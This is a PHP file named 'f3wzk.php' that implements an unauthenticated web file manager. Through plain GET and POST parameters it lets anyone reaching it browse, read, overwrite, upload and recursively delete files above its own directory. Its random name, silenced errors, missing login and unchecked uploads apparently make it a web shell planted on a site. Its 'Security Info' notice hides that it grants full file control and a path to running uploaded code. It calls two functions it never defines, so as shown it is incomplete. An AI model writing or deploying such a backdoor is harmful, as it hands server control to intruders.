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Editing: f3wzk.php

<?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $current_path = '';
    foreach($parts as $part){
        $current_path .= ($current_path ? '/' : '') . $part;
        $dir_parts[] = [
            'name' => $part,
            'path' => $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                if(file_put_contents($file_path, $content) !== false){
                    $message = "File '{$file}' updated successfully!";
                } else {
                    $message = "Error updating file '{$file}'!";
                }
            }
            // Don't redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
                echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
                if($message) echo "<p style='color:green;'>$message</p>";
                echo "<form method='post'>";
                echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
                echo "<button type='submit'>Save</button> ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</form></body></html>";
                exit;
            }
        }
        break;

case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
        
        if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
                $message = "Folder '{$file}' deleted successfully!";
            } else {
                if(unlink($file_path)){
                    $message = "File '{$file}' deleted successfully!";
                } else {
                    $message = "Error deleting file '{$file}'!";
                }
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
                echo "<h2>Confirm Delete</h2>";
                echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
                echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
                echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
                echo "<br>";
                echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</body></html>";
                exit;
            }
        }
        break;

case 'upload':
        if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded['tmp_name'], $dest)){
                        @chmod($dest, 0644);
                        $message = "File '{$name}' uploaded successfully!";
                    } else {
                        $message = "Error uploading file '{$name}'!";
                    }
                } else {
                    $message = "Invalid upload path!";
                }
            } else {
                $message = "Upload error: " . $uploaded['error'];
            }
        }
        // Stay on same page with message
        break;

case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = "Folder '{$folder}' created successfully!";
                    } else {
                        $message = "Error creating folder '{$folder}'!";
                    }
                } else {
                    $message = "Folder already exists or invalid path!";
                }
            } else {
                $message = "Please enter a folder name!";
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type="text"], input[type="file"] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>

<?php if($message): ?>
        <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
            <?= htmlspecialchars($message) ?>
        </div>
    <?php endif; ?>

<div class="pathbar">
        
        <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
        <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
        <a class="btn" href="?action=list&dir=">📁 Root</a>
        
        <span class="small"> &nbsp; &nbsp; Current: 
        <?php if($requested_dir === ''): ?>
            / (<?= htmlspecialchars($root_anchor) ?>)
        <?php else: ?>
            /<?= htmlspecialchars($requested_dir) ?>
        <?php endif; ?>
        </span>
        
        
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
    </div>

<div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
            <input type="file" name="file" required>
            <button class="btn btn-success" type="submit">📤 Upload</button>
        </form>

<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button class="btn btn-success" type="submit">📁 Create Folder</button>
        </form>
    </div>

<?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?>
        <p><i>No files or folders found in this directory.</i></p>
    <?php else: ?>
        <table class="table">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($files as $f): ?>
                    <tr class="trhover">
                        <td>
                            <?php if($f['type'] === 'directory'): ?>
                                📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
                            <?php else: ?>
                                📄 <?= htmlspecialchars($f['name']) ?>
                            <?php endif; ?>
                        </td>
                        <td><?= $f['type'] ?></td>
                        <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                        <td><?= $f['modified'] ?></td>
                        <td>
                            <?php if($f['type'] === 'directory'): 
                                $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                            ?>
                                <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
                            <?php else: ?>
                                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
                                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
                            <?php endif; ?>
                            <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
    
    <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
        <small>
            <strong>Security Info:</strong> 
            You can only access files within: <?= htmlspecialchars($root_anchor) ?>
        </small>
    </div>
</div>